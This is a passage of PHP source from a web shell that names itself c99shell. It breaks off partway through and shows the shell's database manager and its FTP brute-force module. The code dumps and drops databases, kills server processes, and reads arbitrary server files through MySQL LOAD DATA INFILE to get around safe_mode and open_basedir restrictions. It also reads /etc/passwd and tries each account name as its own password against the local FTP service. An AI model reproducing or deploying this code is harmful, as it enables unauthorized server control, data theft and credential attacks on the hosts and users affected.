2077 echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">" . htmlspecialchars($sql_query) . "</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"" . htmlspecialchars($sql_tbl) . "\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"" . htmlspecialchars($sql_goto) . "\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\"> <input type=\"submit\" value=\"No\"></form></td></tr></table>";
2078 }
2079 }
2080 if (in_array($sql_act, $acts))
2081 { ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newtbl"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newtbl" size="20"> <input type="submit" value="Create"></form></td><td width="30%" height="1"><b>Dump DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="dump"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_" . getenv("SERVER_NAME") . "_" . $sql_db . "_" . date("d-m-Y-H-i-s") . ".sql"; ?>"> <input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php if (!empty($sql_act))
2082 {
2083 echo "<hr size=\"1\" noshade>";
2084 }
2085 if ($sql_act == "newtbl")
2086 {
2087 echo "<b>";
2088 if ((mysql_create_db($sql_newdb)) and (!empty($sql_newdb)))
2089 {
2090 echo "DB \"" . htmlspecialchars($sql_newdb) . "\" has been created with success!</b><br>";
2091 }
2092 else
2093 {
2094 echo "Can't create DB \"" . htmlspecialchars($sql_newdb) . "\".<br>Reason:</b> " . mysql_smarterror();
2095 }
2096 }
2097 elseif ($sql_act == "dump")
2098 {
2099 if (empty($submit))
2100 {
2101 $diplay = false;
2102 echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"" . htmlspecialchars($sql_db) . "\"><input type=\"hidden\" name=\"sql_login\" value=\"" . htmlspecialchars($sql_login) . "\"><input type=\"hidden\" name=\"sql_passwd\" value=\"" . htmlspecialchars($sql_passwd) . "\"><input type=\"hidden\" name=\"sql_server\" value=\"" . htmlspecialchars($sql_server) . "\"><input type=\"hidden\" name=\"sql_port\" value=\"" . htmlspecialchars($sql_port) . "\"><input type=\"hidden\" name=\"sql_tbl\" value=\"" . htmlspecialchars($sql_tbl) . "\"><b>SQL-Dump:</b><br><br>";
2103 echo "<b>DB:</b> <input type=\"text\" name=\"sql_db\" value=\"" . urlencode($sql_db) . "\"><br><br>";
2104 $v = join(";", $dmptbls);
2105 echo "<b>Only tables (explode \";\") <b><sup>1</sup></b>:</b> <input type=\"text\" name=\"dmptbls\" value=\"" . htmlspecialchars($v) . "\" size=\"" . (strlen($v) + 5) . "\"><br><br>";
2106 if ($dump_file)
2107 {
2108 $tmp = $dump_file;
2109 }
2110 else
2111 {
2112 $tmp = htmlspecialchars("./dump_" . getenv("SERVER_NAME") . "_" . $sql_db . "_" . date("d-m-Y-H-i-s") . ".sql");
2113 }
2114 echo "<b>File:</b> <input type=\"text\" name=\"sql_dump_file\" value=\"" . $tmp . "\" size=\"" . (strlen($tmp) + strlen($tmp) % 30) . "\"><br><br>";
2115 echo "<b>Download: </b> <input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>";
2116 echo "<b>Save to file: </b> <input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>";
2117 echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty";
2118 echo "</form>";
2119 }
2120 else
2121 {
2122 $diplay = true;
2123 $set = array();
2124 $set["sock"] = $sql_sock;
2125 $set["db"] = $sql_db;
2126 $dump_out = "download";
2127 $set["print"] = 0;
2128 $set["nl2br"] = 0;
2129 $set[""] = 0;
2130 $set["file"] = $dump_file;
2131 $set["add_drop"] = true;
2132 $set["onlytabs"] = array();
2133 if (!empty($dmptbls))
2134 {
2135 $set["onlytabs"] = explode(";", $dmptbls);
2136 }
2137 $ret = mysql_dump($set);
2138 if ($sql_dump_download)
2139 {
2140 @ob_clean();
2141 header("Content-type: application/octet-stream");
2142 header("Content-length: " . strlen($ret));
2143 header("Content-disposition: attachment; filename=\"" . basename($sql_dump_file) . "\";");
2144 echo $ret;
2145 exit;
2146 }
2147 elseif ($sql_dump_savetofile)
2148 {
2149 $fp = fopen($sql_dump_file, "w");
2150 if (!$fp)
2151 {
2152 echo "<b>Dump error! Can't write to \"" . htmlspecialchars($sql_dump_file) . "\"!";
2153 }
2154 else
2155 {
2156 fwrite($fp, $ret);
2157 fclose($fp);
2158 echo "<b>Dumped! Dump has been writed to \"" . htmlspecialchars(realpath($sql_dump_file)) . "\" (" . view_size(filesize($sql_dump_file)) . ")</b>.";
2159 }
2160 }
2161 else
2162 {
2163 echo "<b>Dump: nothing to do!</b>";
2164 }
2165 }
2166 }
2167 if ($diplay)
2168 {
2169 if (!empty($sql_tbl))
2170 {
2171 if (empty($sql_tbl_act))
2172 {
2173 $sql_tbl_act = "browse";
2174 }
2175 $count = mysql_query("SELECT COUNT(*) FROM `" . $sql_tbl . "`;");
2176 $count_row = mysql_fetch_array($count);
2177 mysql_free_result($count);
2178 $tbl_struct_result = mysql_query("SHOW FIELDS FROM `" . $sql_tbl . "`;");
2179 $tbl_struct_fields = array();
2180 while ($row = mysql_fetch_assoc($tbl_struct_result))
2181 {
2182 $tbl_struct_fields[] = $row;
2183 }
2184 if ($sql_ls > $sql_le)
2185 {
2186 $sql_le = $sql_ls + $perpage;
2187 }
2188 if (empty($sql_tbl_page))
2189 {
2190 $sql_tbl_page = 0;
2191 }
2192 if (empty($sql_tbl_ls))
2193 {
2194 $sql_tbl_ls = 0;
2195 }
2196 if (empty($sql_tbl_le))
2197 {
2198 $sql_tbl_le = 30;
2199 }
2200 $perpage = $sql_tbl_le - $sql_tbl_ls;
2201 if (!is_numeric($perpage))
2202 {
2203 $perpage = 10;
2204 }
2205 $numpages = $count_row[0] / $perpage;
2206 $e = explode(" ", $sql_order);
2207 if (count($e) == 2)
2208 {
2209 if ($e[0] == "d")
2210 {
2211 $asc_desc = "DESC";
2212 }
2213 else
2214 {
2215 $asc_desc = "ASC";
2216 }
2217 $v = "ORDER BY `" . $e[1] . "` " . $asc_desc . " ";
2218 }
2219 else
2220 {
2221 $v = "";
2222 }
2223 $query = "SELECT * FROM `" . $sql_tbl . "` " . $v . "LIMIT " . $sql_tbl_ls . " , " . $perpage . "";
2224 $result = mysql_query($query) or print (mysql_smarterror());
2225 echo "<hr size=\"1\" noshade><center><b>Table " . htmlspecialchars($sql_tbl) . " (" . mysql_num_fields($result) . " cols and " . $count_row[0] . " rows)</b></center>";
2226 echo "<a href=\"" . $sql_surl . "sql_tbl=" . urlencode($sql_tbl) . "&sql_tbl_act=structure\">[ <b>Structure</b> ]</a> ";
2227 echo "<a href=\"" . $sql_surl . "sql_tbl=" . urlencode($sql_tbl) . "&sql_tbl_act=browse\">[ <b>Browse</b> ]</a> ";
2228 echo "<a href=\"" . $sql_surl . "sql_tbl=" . urlencode($sql_tbl) . "&sql_act=tbldump&thistbl=1\">[ <b>Dump</b> ]</a> ";
2229 echo "<a href=\"" . $sql_surl . "sql_tbl=" . urlencode($sql_tbl) . "&sql_tbl_act=insert\">[ <b>Insert</b> ]</a> ";
2230 if ($sql_tbl_act == "structure")
2231 {
2232 echo "<br><br><b>Coming sooon!</b>";
2233 }
2234 if ($sql_tbl_act == "insert")
2235 {
2236 if (!is_array($sql_tbl_insert))
2237 {
2238 $sql_tbl_insert = array();
2239 }
2240 if (!empty($sql_tbl_insert_radio))
2241 {
2242 }
2243 else
2244 {
2245 echo "<br><br><b>Inserting row into table:</b><br>";
2246 if (!empty($sql_tbl_insert_q))
2247 {
2248 $sql_query = "SELECT * FROM `" . $sql_tbl . "`";
2249 $sql_query .= " WHERE" . $sql_tbl_insert_q;
2250 $sql_query .= " LIMIT 1;";
2251 $result = mysql_query($sql_query, $sql_sock) or print ("<br><br>" . mysql_smarterror());
2252 $values = mysql_fetch_assoc($result);
2253 mysql_free_result($result);
2254 }
2255 else
2256 {
2257 $values = array();
2258 }
2259 echo "<form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>";
2260 foreach ($tbl_struct_fields as $field)
2261 {
2262 $name = $field["Field"];
2263 if (empty($sql_tbl_insert_q))
2264 {
2265 $v = "";
2266 }
2267 echo "<tr><td><b>" . htmlspecialchars($name) . "</b></td><td>" . $field["Type"] . "</td><td><select name=\"sql_tbl_insert_functs[" . htmlspecialchars($name) . "]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[" . htmlspecialchars($name) . "]\" value=\"" . htmlspecialchars($values[$name]) . "\" size=50></td></tr>";
2268 $i++;
2269 }
2270 echo "</table><br>";
2271 echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\"";
2272 if (empty($sql_tbl_insert_q))
2273 {
2274 echo " checked";
2275 }
2276 echo "><b>Insert as new row</b>";
2277 if (!empty($sql_tbl_insert_q))
2278 {
2279 echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>";
2280 echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"" . htmlspecialchars($sql_tbl_insert_q) . "\">";
2281 }
2282 echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>";
2283 }
2284 }
2285 if ($sql_tbl_act == "browse")
2286 {
2287 $sql_tbl_ls = abs($sql_tbl_ls);
2288 $sql_tbl_le = abs($sql_tbl_le);
2289 echo "<hr size=\"1\" noshade>";
2290 echo "<img src=\"" . $surl . "act=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\"> ";
2291 $b = 0;
2292 for ($i = 0;$i < $numpages;$i++)
2293 {
2294 if (($i * $perpage != $sql_tbl_ls) or ($i * $perpage + $perpage != $sql_tbl_le))
2295 {
2296 echo "<a href=\"" . $sql_surl . "sql_tbl=" . urlencode($sql_tbl) . "&sql_order=" . htmlspecialchars($sql_order) . "&sql_tbl_ls=" . ($i * $perpage) . "&sql_tbl_le=" . ($i * $perpage + $perpage) . "\"><u>";
2297 }
2298 echo $i;
2299 if (($i * $perpage != $sql_tbl_ls) or ($i * $perpage + $perpage != $sql_tbl_le))
2300 {
2301 echo "</u></a>";
2302 }
2303 if (($i / 30 == round($i / 30)) and ($i > 0))
2304 {
2305 echo "<br>";
2306 }
2307 else
2308 {
2309 echo " ";
2310 }
2311 }
2312 if ($i == 0)
2313 {
2314 echo "empty";
2315 }
2316 echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"" . htmlspecialchars($sql_db) . "\"><input type=\"hidden\" name=\"sql_login\" value=\"" . htmlspecialchars($sql_login) . "\"><input type=\"hidden\" name=\"sql_passwd\" value=\"" . htmlspecialchars($sql_passwd) . "\"><input type=\"hidden\" name=\"sql_server\" value=\"" . htmlspecialchars($sql_server) . "\"><input type=\"hidden\" name=\"sql_port\" value=\"" . htmlspecialchars($sql_port) . "\"><input type=\"hidden\" name=\"sql_tbl\" value=\"" . htmlspecialchars($sql_tbl) . "\"><input type=\"hidden\" name=\"sql_order\" value=\"" . htmlspecialchars($sql_order) . "\"><b>From:</b> <input type=\"text\" name=\"sql_tbl_ls\" value=\"" . $sql_tbl_ls . "\"> <b>To:</b> <input type=\"text\" name=\"sql_tbl_le\" value=\"" . $sql_tbl_le . "\"> <input type=\"submit\" value=\"View\"></form>";
2317 echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1>";
2318 echo "<tr>";
2319 echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>";
2320 for ($i = 0;$i < mysql_num_fields($result);$i++)
2321 {
2322 $v = mysql_field_name($result, $i);
2323 if ($e[0] == "a")
2324 {
2325 $s = "d";
2326 $m = "asc";
2327 }
2328 else
2329 {
2330 $s = "a";
2331 $m = "desc";
2332 }
2333 echo "<td>";
2334 if (empty($e[0]))
2335 {
2336 $e[0] = "a";
2337 }
2338 if ($e[1] != $v)
2339 {
2340 echo "<a href=\"" . $sql_surl . "sql_tbl=" . $sql_tbl . "&sql_tbl_le=" . $sql_tbl_le . "&sql_tbl_ls=" . $sql_tbl_ls . "&sql_order=" . $e[0] . "%20" . $v . "\"><b>" . $v . "</b></a>";
2341 }
2342 else
2343 {
2344 echo "<b>" . $v . "</b><a href=\"" . $sql_surl . "sql_tbl=" . $sql_tbl . "&sql_tbl_le=" . $sql_tbl_le . "&sql_tbl_ls=" . $sql_tbl_ls . "&sql_order=" . $s . "%20" . $v . "\"><img src=\"" . $surl . "act=img&img=sort_" . $m . "\" height=\"9\" width=\"14\" alt=\"" . $m . "\"></a>";
2345 }
2346 echo "</td>";
2347 }
2348 echo "<td><font color=\"green\"><b>Action</b></font></td>";
2349 echo "</tr>";
2350 while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
2351 {
2352 echo "<tr>";
2353 $w = "";
2354 $i = 0;
2355 foreach ($row as $k => $v)
2356 {
2357 $name = mysql_field_name($result, $i);
2358 $w .= " `" . $name . "` = '" . addslashes($v) . "' AND";
2359 $i++;
2360 }
2361 if (count($row) > 0)
2362 {
2363 $w = substr($w, 0, strlen($w) - 3);
2364 }
2365 echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"" . $w . "\"></td>";
2366 $i = 0;
2367 foreach ($row as $k => $v)
2368 {
2369 $v = htmlspecialchars($v);
2370 if ($v == "")
2371 {
2372 $v = "<font color=\"green\">NULL</font>";
2373 }
2374 echo "<td>" . $v . "</td>";
2375 $i++;
2376 }
2377 echo "<td>";
2378 echo "<a href=\"" . $sql_surl . "sql_act=query&sql_tbl=" . urlencode($sql_tbl) . "&sql_tbl_ls=" . $sql_tbl_ls . "&sql_tbl_le=" . $sql_tbl_le . "&sql_query=" . urlencode("DELETE FROM `" . $sql_tbl . "` WHERE" . $w . " LIMIT 1;") . "\"><img src=\"" . $surl . "act=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a> ";
2379 echo "<a href=\"" . $sql_surl . "sql_tbl_act=insert&sql_tbl=" . urlencode($sql_tbl) . "&sql_tbl_ls=" . $sql_tbl_ls . "&sql_tbl_le=" . $sql_tbl_le . "&sql_tbl_insert_q=" . urlencode($w) . "\"><img src=\"" . $surl . "act=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a> ";
2380 echo "</td>";
2381 echo "</tr>";
2382 }
2383 mysql_free_result($result);
2384 echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"" . $surl . "act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
2385 echo "<option value=\"\">With selected:</option>";
2386 echo "<option value=\"deleterow\">Delete</option>";
2387 echo "</select> <input type=\"submit\" value=\"Confirm\"></form></p>";
2388 }
2389 }
2390 else
2391 {
2392 $result = mysql_query("SHOW TABLE STATUS", $sql_sock);
2393 if (!$result)
2394 {
2395 echo mysql_smarterror();
2396 }
2397 else
2398 {
2399 echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>";
2400 $i = 0;
2401 $tsize = $trows = 0;
2402 while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
2403 {
2404 $tsize += $row["Data_length"];
2405 $trows += $row["Rows"];
2406 $size = view_size($row["Data_length"]);
2407 echo "<tr>";
2408 echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"" . $row["Name"] . "\"></td>";
2409 echo "<td> <a href=\"" . $sql_surl . "sql_tbl=" . urlencode($row["Name"]) . "\"><b>" . $row["Name"] . "</b></a> </td>";
2410 echo "<td>" . $row["Rows"] . "</td>";
2411 echo "<td>" . $row["Type"] . "</td>";
2412 echo "<td>" . $row["Create_time"] . "</td>";
2413 echo "<td>" . $row["Update_time"] . "</td>";
2414 echo "<td>" . $size . "</td>";
2415 echo "<td> <a href=\"" . $sql_surl . "sql_act=query&sql_query=" . urlencode("DELETE FROM `" . $row["Name"] . "`") . "\"><img src=\"" . $surl . "act=img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a> <a href=\"" . $sql_surl . "sql_act=query&sql_query=" . urlencode("DROP TABLE `" . $row["Name"] . "`") . "\"><img src=\"" . $surl . "act=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a> <a href=\"" . $sql_surl . "sql_tbl_act=insert&sql_tbl=" . $row["Name"] . "\"><img src=\"" . $surl . "act=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a> </td>";
2416 echo "</tr>";
2417 $i++;
2418 }
2419 echo "<tr bgcolor=\"000000\">";
2420 echo "<td><center><b>»</b></center></td>";
2421 echo "<td><center><b>" . $i . " table(s)</b></center></td>";
2422 echo "<td><b>" . $trows . "</b></td>";
2423 echo "<td>" . $row[1] . "</td>";
2424 echo "<td>" . $row[10] . "</td>";
2425 echo "<td>" . $row[11] . "</td>";
2426 echo "<td><b>" . view_size($tsize) . "</b></td>";
2427 echo "<td></td>";
2428 echo "</tr>";
2429 echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"" . $surl . "act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
2430 echo "<option value=\"\">With selected:</option>";
2431 echo "<option value=\"tbldrop\">Drop</option>";
2432 echo "<option value=\"tblempty\">Empty</option>";
2433 echo "<option value=\"tbldump\">Dump</option>";
2434 echo "<option value=\"tblcheck\">Check table</option>";
2435 echo "<option value=\"tbloptimize\">Optimize table</option>";
2436 echo "<option value=\"tblrepair\">Repair table</option>";
2437 echo "<option value=\"tblanalyze\">Analyze table</option>";
2438 echo "</select> <input type=\"submit\" value=\"Confirm\"></form></p>";
2439 mysql_free_result($result);
2440 }
2441 }
2442 }
2443 }
2444 }
2445 else
2446 {
2447 $acts = array(
2448 "",
2449 "newdb",
2450 "serverstatus",
2451 "servervars",
2452 "processes",
2453 "getfile"
2454 );
2455 if (in_array($sql_act, $acts))
2456 { ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20"> <input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>"> <input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php
2457 }
2458 if (!empty($sql_act))
2459 {
2460 echo "<hr size=\"1\" noshade>";
2461 if ($sql_act == "newdb")
2462 {
2463 echo "<b>";
2464 if ((mysql_create_db($sql_newdb)) and (!empty($sql_newdb)))
2465 {
2466 echo "DB \"" . htmlspecialchars($sql_newdb) . "\" has been created with success!</b><br>";
2467 }
2468 else
2469 {
2470 echo "Can't create DB \"" . htmlspecialchars($sql_newdb) . "\".<br>Reason:</b> " . mysql_smarterror();
2471 }
2472 }
2473 if ($sql_act == "serverstatus")
2474 {
2475 $result = mysql_query("SHOW STATUS", $sql_sock);
2476 echo "<center><b>Server-status variables:</b><br><br>";
2477 echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
2478 while ($row = mysql_fetch_array($result, MYSQL_NUM))
2479 {
2480 echo "<tr><td>" . $row[0] . "</td><td>" . $row[1] . "</td></tr>";
2481 }
2482 echo "</table></center>";
2483 mysql_free_result($result);
2484 }
2485 if ($sql_act == "servervars")
2486 {
2487 $result = mysql_query("SHOW VARIABLES", $sql_sock);
2488 echo "<center><b>Server variables:</b><br><br>";
2489 echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
2490 while ($row = mysql_fetch_array($result, MYSQL_NUM))
2491 {
2492 echo "<tr><td>" . $row[0] . "</td><td>" . $row[1] . "</td></tr>";
2493 }
2494 echo "</table>";
2495 mysql_free_result($result);
2496 }
2497 if ($sql_act == "processes")
2498 {
2499 if (!empty($kill))
2500 {
2501 $query = "KILL " . $kill . ";";
2502 $result = mysql_query($query, $sql_sock);
2503 echo "<b>Killing process #" . $kill . "... ok. he is dead, amen.</b>";
2504 }
2505 $result = mysql_query("SHOW PROCESSLIST", $sql_sock);
2506 echo "<center><b>Processes:</b><br><br>";
2507 echo "<TABLE cellSpacing=0 cellPadding=2 bgColor=#333333 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>";
2508 while ($row = mysql_fetch_array($result, MYSQL_NUM))
2509 {
2510 echo "<tr><td>" . $row[0] . "</td><td>" . $row[1] . "</td><td>" . $row[2] . "</td><td>" . $row[3] . "</td><td>" . $row[4] . "</td><td>" . $row[5] . "</td><td>" . $row[6] . "</td><td>" . $row[7] . "</td><td><a href=\"" . $sql_surl . "sql_act=processes&kill=" . $row[0] . "\"><u>Kill</u></a></td></tr>";
2511 }
2512 echo "</table>";
2513 mysql_free_result($result);
2514 }
2515 if ($sql_act == "getfile")
2516 {
2517 $tmpdb = $sql_login . "_tmpdb";
2518 $select = mysql_select_db($tmpdb);
2519 if (!$select)
2520 {
2521 mysql_create_db($tmpdb);
2522 $select = mysql_select_db($tmpdb);
2523 $created = !!$select;
2524 }
2525 if ($select)
2526 {
2527 $created = false;
2528 mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
2529 mysql_query("LOAD DATA INFILE \"" . addslashes($sql_getfile) . "\" INTO TABLE tmp_file");
2530 $result = mysql_query("SELECT * FROM tmp_file;");
2531 if (!$result)
2532 {
2533 echo "<b>Error in reading file (permision denied)!</b>";
2534 }
2535 else
2536 {
2537 for ($i = 0;$i < mysql_num_fields($result);$i++)
2538 {
2539 $name = mysql_field_name($result, $i);
2540 }
2541 $f = "";
2542 while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
2543 {
2544 $f .= join("\r\n", $row);
2545 }
2546 if (empty($f))
2547 {
2548 echo "<b>File \"" . $sql_getfile . "\" does not exists or empty!</b><br>";
2549 }
2550 else
2551 {
2552 echo "<b>File \"" . $sql_getfile . "\":</b><br>" . nl2br(htmlspecialchars($f)) . "<br>";
2553 }
2554 mysql_free_result($result);
2555 mysql_query("DROP TABLE tmp_file;");
2556 }
2557 }
2558 mysql_drop_db($tmpdb);
2559 }
2560 }
2561 }
2562 }
2563 echo "</td></tr></table>";
2564 if ($sql_sock)
2565 {
2566 $affected = @mysql_affected_rows($sql_sock);
2567 if ((!is_numeric($affected)) or ($affected < 0))
2568 {
2569 $affected = 0;
2570 }
2571 echo "<tr><td><center><b>Affected rows: " . $affected . "</center></td></tr>";
2572 }
2573 echo "</table>";
2574 }
2575 if ($act == "mkdir")
2576 {
2577 if ($mkdir != $d)
2578 {
2579 if (file_exists($mkdir))
2580 {
2581 echo "<b>Make Dir \"" . htmlspecialchars($mkdir) . "\"</b>: object alredy exists";
2582 }
2583 elseif (!mkdir($mkdir))
2584 {
2585 echo "<b>Make Dir \"" . htmlspecialchars($mkdir) . "\"</b>: access denied";
2586 }
2587 echo "<br><br>";
2588 }
2589 $act = $dspact = "ls";
2590 }
2591 if ($act == "ftpquickbrute")
2592 {
2593 echo "<b>Ftp Quick brute:</b><br>";
2594 if (!win)
2595 {
2596 echo "This functions not work in Windows!<br><br>";
2597 }
2598 else
2599 {
2600 function c99ftpbrutecheck($host, $port, $timeout, $login, $pass, $sh, $fqb_onlywithsh)
2601 {
2602 if ($fqb_onlywithsh)
2603 {
2604 $true = (!in_array($sh, array(
2605 "/bin/false",
2606 "/sbin/nologin"
2607 )));
2608 }
2609 else
2610 {
2611 $true = true;
2612 }
2613 if ($true)
2614 {
2615 $sock = @ftp_connect($host, $port, $timeout);
2616 if (@ftp_login($sock, $login, $pass))
2617 {
2618 echo "<a href=\"ftp://" . $login . ":" . $pass . "@" . $host . "\" target=\"_blank\"><b>Connected to " . $host . " with login \"" . $login . "\" and password \"" . $pass . "\"</b></a>.<br>";
2619 ob_flush();
2620 return true;
2621 }
2622 }
2623 }
2624 if (!empty($submit))
2625 {
2626 if (!is_numeric($fqb_lenght))
2627 {
2628 $fqb_lenght = $nixpwdperpage;
2629 }
2630 $fp = fopen("/etc/passwd", "r");
2631 if (!$fp)
2632 {
2633 echo "Can't get /etc/passwd for password-list.";
2634 }
2635 else
2636 {
2637 if ($fqb_logging)
2638 {
2639 if ($fqb_logfile)
2640 {
2641 $fqb_logfp = fopen($fqb_logfile, "w");
2642 }
2643 else
2644 {
2645 $fqb_logfp = false;
2646 }
2647 $fqb_log = "FTP Quick Brute (called c99shell v. " . $shver . ") started at " . date("d.m.Y H:i:s") . "\r\n\r\n";
2648 if ($fqb_logfile)
2649 {
2650 fwrite($fqb_logfp, $fqb_log, strlen($fqb_log));
2651 }
2652 }
2653 ob_flush();
2654 $i = $success = 0;
2655 $ftpquick_st = getmicrotime();
2656 while (!feof($fp))
2657 {
2658 $str = explode(":", fgets($fp, 2048));
2659 if (c99ftpbrutecheck("localhost", 21, 1, $str[0], $str[0], $str[6], $fqb_onlywithsh))
2660 {
2661 echo "<b>Connected to " . getenv("SERVER_NAME") . " with login \"" . $str[0] . "\" and password \"" . $str[0] . "\"</b><br>";
2662 $fqb_log .= "Connected to " . getenv("SERVER_NAME") . " with login \"" . $str[0] . "\" and password \"" . $str[0] . "\", at " . date("d.m.Y H:i:s") . "\r\n";
2663 if ($fqb_logfp)
2664 {
2665 fseek($fqb_logfp, 0);
2666 fwrite($fqb_logfp, $fqb_log, strlen($fqb_log));
2667 }
2668 $success++;
2669 ob_flush();
2670 }
2671 if ($i > $fqb_lenght)
2672 {
2673 break;
2674 }
2675 $i++;
2676 }
2677 if ($success == 0)
2678 {
2679 echo "No success. connections!";
2680 $fqb_log .= "No success. connections!\r\n";
2681 }
2682 $ftpquick_t = round(getmicrotime() - $ftpquick_st, 4);
2683 echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): " . $ftpquick_t . "<br>Total connections: " . $i . "<br>Success.: <font color=green><b>" . $success . "</b></font><br>Unsuccess.:" . ($i - $success) . "</b><br>Connects per second: " . round($i / $ftpquick_t, 2) . "<br>";
